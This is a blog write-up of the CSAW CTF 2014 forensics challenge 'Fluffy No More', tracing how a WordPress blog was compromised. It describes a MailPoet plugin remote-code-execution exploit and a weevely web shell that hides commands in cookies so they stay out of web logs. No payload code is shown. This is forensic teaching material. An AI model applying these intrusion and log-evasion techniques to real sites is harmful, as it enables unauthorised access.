Because in the end, what does matter is having fun.

CSAW 2014: Fluffy No More

The CSAW CTF 2014 wasn’t only exploitation and reverse engineering, within the challenges a whole category was focused on forensics puzzles.

Fluffy No More was a 300 points worth challenge for which the solution could have been achieved by conducting a full scope forensics analysis of a compromised system.

The players were provided with an archive containing

a database dump

the content of /var/log

the content of /var/www/html

the content of /etc

All the informations were (badly imho) logically acquired from the compromised system, and the challenge was focused mostly on forensics methodology: if the player was good enaugh to understand what happened on the system, he’d find the hidden flag.

First thing first, let’s say that this is how I solved the puzzle, probably there were other easier paths, but I still decided to approach this game like it was a real case, thinking that it was the best way to not leave anything behind.

The fictional scenario involved a compromised wordpress blog, so as a first step, i decided that it was worth to find a clue about how the attacker compromised it.

I had the logs from the web server, but like in any webserver logs, when analyzing them you run through lots of false positives, and this was also the case; reason why I decided to start by looking at the database dump.

To make my life easier, i quickly imported the database and the blog site on a lab machine, and started looking into it:
It was a matter of no time that I could spot a comment to a blog post boasting about the will of compromising the site.

I remembered that wordpress, in the comments table, has a field where the IP address of the posting user is saved, I decided to take a look at it, because i thought that it could have been useful in terms of correlations with the apache webserver logs. In most cases this is not gonna happen, you’ll unlikely be so lucky, but I was approaching to a CTF problem, not a real world scenario, and so I decided to bet on this.

Messing with the logs at this poit was a possibility, but i decided that probably if I had more details on the wordpress installation itself, this would have helped me out more in filtering the log results.

I reset my instance of the blog and logged in as admin to check for the list of installed plugins, and verify if at least one of them was vulnerable.

Mail Poet newsletter pulled my attention as it was the only plugin that was alerting that a new version was available, so why not look in public repositories if an exploit for the installed version is available?

I browsed exploit-db and it resulted that a metasploit module to gain remote code execution on this specific wordpress plugin is available.

By a quick look at the exploit code, it’s possible to figure out that an attacker can upload an arbitrary payload by sending the following POST request

This is definitely a web shell, and by looking at it, it’s most likely a weevely web shell: weevely web shell is evil to investigate, because it doesn’t use get or post parameters to send commands, but as opposite it uses cookies, which are not logged in the webserver logs.

So from now on, understanding what happened was a real deal.

The attacker managed to obtain remote code execution on the server, but what would an attacker do from there on?

It’s fair to assume that he might have tried to maintain access on the server, and potentially to install backdoors or spread malwares using the site; I was at a dead end tho, I couldn’t follow a logical step forward anymore, so what i was left to do was to look at the logs with a greedy approach to see if i could find something interesting.

And it was while i was looking at /var/log/auth.log that I noticed a bunch of weird sudo activities by the ubuntu user using sudo.